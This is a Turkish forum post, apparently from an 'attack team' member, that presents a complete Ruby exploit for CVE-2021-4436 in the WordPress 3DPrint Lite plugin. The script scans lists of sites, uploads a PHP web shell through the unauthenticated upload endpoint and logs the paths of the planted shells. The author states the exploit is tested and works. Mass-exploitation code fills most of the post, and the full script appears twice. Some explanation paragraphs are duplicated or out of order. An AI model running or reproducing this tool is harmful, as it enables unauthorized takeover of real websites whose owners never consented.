Merhaba ben saldırı timlerinden Bunjo, bu konuda "Wordpress Plugin 3DPrint Lite 1.9.1.4" için bir exploit kodlayacağız.
Kodlayacağımız bu exploit zafiyetten yararlanıp karşıa tarafa bir PHP shell yükleyecek.
Zafiyet: CVE-2021-4436
Eklentinin herhangi bir yetkisi yoktur ve yüklenen dosyayı p3dlite_handle_upload AJAX işleminde kontrol etmez,
kimliği doğrulanmamış kullanıcıların web sunucusuna rastgele dosya yüklemesine olanak tanır.
Ancak dosyaya Apache gibi Web sunucularında erişilmesini engelleyen bir .htaccess var.
Ruby:
require 'optparse'
require 'httparty'
require 'eventmachine'
require 'uri'
optparse:Kütüphane, Ruby programlarına komut satırından gelen argümanları okumak ve analiz etmek için kullanılır.
httparty:HTTParty, Ruby'de HTTP istekleri göndermek ve almak için kullanılır.
eventmachine:EventMachine, olay temelli ağ uygulamaları oluşturmak için kullanılır.
uri:URI, Ruby'de Uniform Resource Identifier (URI) işlemleri yapmak için kullanılır. Bu, URL'leri düzenlemek ve analiz etmek için kullanışlıdır.
Ruby:
class D3_Print_Exploit
def initialize
@params = {
input_file: nil,
shell_file: nil,
output_file: 'output.txt',
}
@vuln_urls = []
@threads = []
@headers = {
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
}
end
@params: Programın çalışması için gerekli olan parametreleri içeren bir hash. Bu parametreler,
input_file (URL'lerin bulunduğu dosya), shell_file (yüklenecek shell dosyasının yolu) ve output_file (çıktı dosyasının adı) özelliklerini içerir.
@vuln_urls: Zafiyetli URL'lerin listesini tutmak için bir dizi.
@threads: Paralel işlemleri yönetmek için kullanılacak bir dizi.
@headers: HTTP isteklerine eklenen başlık bilgilerini içerir. Burada kullanılan User-Agent değeri, Mozilla Firefox tarayıcısına ait bir değeri taklit eder.
initialize metodu, sınıf bir nesne oluşturulduğunda otomatik olarak çağrılır ve sınıfın başlangıç durumunu belirler.
Ruby:
def check_site(domain)
target_domain = URI.parse(domain)
plugin_url = "#{target_domain.scheme}://#{target_domain.host}/wp-admin/admin-ajax.php?action=p3dlite_handle_upload"
begin
response = HTTParty.get(plugin_url, headers: @headers, timeout: 3)
if response.body.include?("jsonrpc")
response_shell = HTTParty.get(plugin_url, body: { 'file' => File.new(@params[:shell_file]) })
if response_shell.body.include?(File.basename(@params[:shell_file]))
File.open(@params[:output_file], "a+") do |file_manager|
file_manager.puts("#{target_domain.scheme}://#{target_domain.host}/wp-content/uploads/p3d/#{File.basename(@params[:shell_file])}")
end
puts("#{plugin_url} --> Uploaded".green)
else
puts("#{plugin_url} --> Not Vuln".red)
end
else
puts("#{plugin_url} --> Not Vuln".red)
end
rescue Net::OpenTimeout
puts("#{plugin_url} --> Not Vuln".red)
rescue StandardError => err
puts("#{plugin_url} --> Not Vuln".red)
end
end
domain parametresi, kontrol edilecek olan WordPress sitesinin URL'sini temsil eder.
URI.parse(domain) ile, verilen domainin URL bileşenleri ayrıştırılır.
Oluşturulan plugin_url, eklentinin dosya yükleme işlemini gerçekleştiren URL'yi içerir.
Oluşturulan plugin_url'ye HTTP GET isteği gönderilir.
headers parametresi, HTTP isteğine eklenen başlık bilgilerini içerir.
timeout parametresi, isteğin ne kadar sürede zaman aşımına uğrayacağını belirler.
Gelen HTTP yanıtının içeriğinde "jsonrpc" ifadesi varsa, eklentinin zafiyetli olduğu düşünülerek işlemlere devam edilir.
İkinci bir HTTP GET isteği gönderilir, ancak bu sefer bir dosya yüklenmeye çalışılır.
İkinci isteğin yanıtının içeriğinde, yüklenen dosyanın adı varsa, dosyanın başarıyla yüklendiği düşünülür.
Eğer yükleme başarılı ise, ilgili bilgiler çıktıya yazdırılır.
Aksi takdirde, zafiyetin olmadığı belirtilir ve uygun mesaj çıktıya yazdırılır.
HTTP isteği sırasında zaman aşımına uğrama durumu veya genel bir hata durumunda, ilgili hata mesajları çıktıya yazdırılır.
Bu sayede, hata durumları kontrol edilir ve kullanıcıya bilgi verilir.
Ruby:
def print_help
help_text = <<-'HELP_TEXT'
USAGE: ruby upload_checker.rb [options]
OPTIONS:
-i, --input_file INPUT_FILE: Define the path to the URL file.
-o, --output_file OUTPUT_FILE: Define the name of the output log file.
-s, --shell_file SHELL_FILE: Define the path of the shell file.
HELP_TEXT
puts(help_text.magenta)
end
<<-'HELP_TEXT' ve help_text: Metodun içinde <<-'HELP_TEXT' ifadesi ile başlayan çok satırlı bir string (metin) ifadesi tanımlanır. Bu string, help_text değişkenine atanır.
Programın alabileceği seçenekleri ve bu seçeneklerin açıklamalarını içerir. Her seçenek, kısa ve uzun formda (-i ve --input_file gibi) belirtilir.
Açıklamalarda, her bir seçeneğin ne işe yaradığı ve nasıl kullanılması gerektiği belirtilir.
Ruby:
def opt_parser
begin
OptionParser.new do |opts|
opts.on "-i", "--input_file INPUT_FILE" do |input_file|
if File.exist?(input_file)
@params[:input_file] = input_file
else
puts("File not found: #{input_file}".red)
exit(1)
end
end
opts.on "-s", "--shell_file INPUT_FILE" do |shell_file|
if File.exist?(shell_file)
@params[:shell_file] = shell_file
else
puts("Shell File not found: #{shell_file}".red)
exit(1)
end
end
opts.on "-o", "--output_file OUTPUT_FILE" do |output_file|
@params[:output_file] = output_file
end
end.parse!
rescue Exception => exception
puts("Error: #{exception}")
end
end
Bu metodun adı opt_parser ve komut satırı argümanlarını işleyen bir seçenek ayrıştırıcıdır.
parse_lines(group): Bu metot, bir grup satır alır ve her satırı each metodu kullanarak işler.
Her satır için, strip metodu kullanılarak önceki ve sonraki boşluklar temizlenir ve ardından stripped satır check_site metoduyla çağrılır.
main: Bu metot, programın ana giriş noktası gibi görünmektedir. opt_parser metodunu bekler.
opt_parser metodu genellikle komut satırı seçeneklerini ayrıştırmak için OptionParser gibi bir kütüphane kullanır.
opt_parser: Bu metot komut satırı seçeneklerini ayarlamak ve ayrıştırmak için kullanılır.
unless ifadesi, @params[:input_file] ve @params[:shell_file] değişkenlerinden herhangi birinin nil olup olmadığını kontrol eder.
Eğer herhangi biri nil değilse, File.readlines metodu kullanılarak dosyanın satırları okunur. Sonra bu satırlar 4'erli gruplara ayrılır ve her bir grup için bir thread başlatılır (Thread.new).
Her bir thread, parse_lines metoduyla ilgili grup satırlarını işler. Oluşturulan thread'ler @threads dizisine eklenir.
@threads.each(&:join): Bu satır, tüm thread'lerin tamamlanmasını bekler. Yani, tüm grupların satırları işlenene kadar bekler.
puts("Exploit completed.".magenta): Bu satır, işlemin tamamlandığını belirten bir mesajı yazdırır.
EM.stop: Bu satır, event loop'u (EventMachine) durdurmak için kullanılır.
parse_lines(group): Bu metot, bir grup satır alır ve her satırı each metodu kullanarak işler.
Her satır için, strip metodu kullanılarak önceki ve sonraki boşluklar temizlenir ve ardından stripped satır check_site metoduyla çağrılır.
main: Bu metot, programın ana giriş noktası gibi görünmektedir. opt_parser metodunu bekler.
opt_parser metodu genellikle komut satırı seçeneklerini ayrıştırmak için OptionParser gibi bir kütüphane kullanır.
opt_parser: Bu metot komut satırı seçeneklerini ayarlamak ve ayrıştırmak için kullanılır.
unless ifadesi, @params[:input_file] ve @params[:shell_file] değişkenlerinden herhangi birinin nil olup olmadığını kontrol eder.
Eğer herhangi biri nil değilse, File.readlines metodu kullanılarak dosyanın satırları okunur. Sonra bu satırlar 4'erli gruplara ayrılır ve her bir grup için bir thread başlatılır (Thread.new).
Her bir thread, parse_lines metoduyla ilgili grup satırlarını işler. Oluşturulan thread'ler @threads dizisine eklenir.
@threads.each(&:join): Bu satır, tüm thread'lerin tamamlanmasını bekler. Yani, tüm grupların satırları işlenene kadar bekler.
puts("Exploit completed.".magenta): Bu satır, işlemin tamamlandığını belirten bir mesajı yazdırır.
EM.stop: Bu satır, event loop'u (EventMachine) durdurmak için kullanılır.
Ruby:
class String
def red
"\e[31m#{self}\e[0m"
end
def green
"\e[32m#{self}\e[0m"
end
def magenta
"\e[35m#{self}\e[0m"
end
end
EM.run do
EM.defer do
exploit = D3_Print_Exploit.new
exploit.main
end
end
String sınıfının genişletilmesi: red, green, ve magenta adında üç ayrı özel metot eklenir. Bu metotlar, ilgili renkteki ANSI kağıdı (escape kodları) kullanarak metin renklendirmesini sağlar.
EM.run do ... end: Bu blok içinde, EventMachine (EM) başlatılır ve içerideki işlemler asenkron olarak gerçekleşir.
EM.defer do ... end: Bu blok içinde, bir işlem asenkron olarak başlatılır. Bu işlemde D3_Print_Exploit sınıfından bir nesne oluşturulur (exploit = D3_Print_Exploit.new) ve main metodu çağrılır (exploit.main).
Tüm Kod:
EM.run do ... end: Bu blok içinde, EventMachine (EM) başlatılır ve içerideki işlemler asenkron olarak gerçekleşir.
EM.defer do ... end: Bu blok içinde, bir işlem asenkron olarak başlatılır. Bu işlemde D3_Print_Exploit sınıfından bir nesne oluşturulur (exploit = D3_Print_Exploit.new) ve main metodu çağrılır (exploit.main).
Tüm Kod:
Ruby:
require 'optparse'
require 'httparty'
require 'eventmachine'
require 'uri'
class D3_Print_Exploit
def initialize
@params = {
input_file: nil,
shell_file: nil,
output_file: 'output.txt',
}
@vuln_urls = []
@threads = []
@headers = {
'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0'
}
end
def check_site(domain)
target_domain = URI.parse(domain)
plugin_url = "#{target_domain.scheme}://#{target_domain.host}/wp-admin/admin-ajax.php?action=p3dlite_handle_upload"
begin
response = HTTParty.get(plugin_url, headers: @headers, timeout: 3)
if response.body.include?("jsonrpc")
response_shell = HTTParty.get(plugin_url, body: { 'file' => File.new(@params[:shell_file]) })
if response_shell.body.include?(File.basename(@params[:shell_file]))
File.open(@params[:output_file], "a+") do |file_manager|
file_manager.puts("#{target_domain.scheme}://#{target_domain.host}/wp-content/uploads/p3d/#{File.basename(@params[:shell_file])}")
end
puts("#{plugin_url} --> Uploaded".green)
else
puts("#{plugin_url} --> Not Vuln".red)
end
else
puts("#{plugin_url} --> Not Vuln".red)
end
rescue Net::OpenTimeout
puts("#{plugin_url} --> Not Vuln".red)
rescue StandardError
puts("#{plugin_url} --> Not Vuln".red)
end
end
def print_help
help_text = <<-'HELP_TEXT'
USAGE: ruby upload_checker.rb [options]
OPTIONS:
-i, --input_file INPUT_FILE: Define the path to the URL file.
-o, --output_file OUTPUT_FILE: Define the name of the output log file.
-s, --shell_file SHELL_FILE: Define the path of the shell file.
HELP_TEXT
puts(help_text.magenta)
end
def opt_parser
begin
OptionParser.new do |opts|
opts.on "-i", "--input_file INPUT_FILE" do |input_file|
if File.exist?(input_file)
@params[:input_file] = input_file
else
puts("File not found: #{input_file}".red)
exit(1)
end
end
opts.on "-s", "--shell_file INPUT_FILE" do |shell_file|
if File.exist?(shell_file)
@params[:shell_file] = shell_file
else
puts("Shell File not found: #{shell_file}".red)
exit(1)
end
end
opts.on "-o", "--output_file OUTPUT_FILE" do |output_file|
@params[:output_file] = output_file
end
end.parse!
rescue Exception => exception
puts("Error: #{exception}")
end
end
def parse_lines(group)
group.each do |line|
check_site(line.strip)
end
end
def main
opt_parser
unless @params[:input_file].nil? and @params[:shell_file].nil?
lines = File.readlines(@params[:input_file])
lines.each_slice(4) do |group_lines|
@threads << Thread.new { parse_lines(group_lines) }
end
@threads.each(&:join)
puts()
puts("Exploit completed.".magenta)
EM.stop
else
print_help
EM.stop
end
end
end
class String
def red
"\e[31m#{self}\e[0m"
end
def green
"\e[32m#{self}\e[0m"
end
def magenta
"\e[35m#{self}\e[0m"
end
end
EM.run do
EM.defer do
exploit = D3_Print_Exploit.new
exploit.main
end
end
Not: Zafiyetli sürüm yüklenip denenmiştir, exploit çalışmaktadır. Sunucuda ekstra bir müdahale ile "php" dosyaları engellenmişse doğal olarak exploit çalışmaz.
Okuyan herkese teşekkür ederim.
Github
Okuyan herkese teşekkür ederim.
Github
Son düzenleme: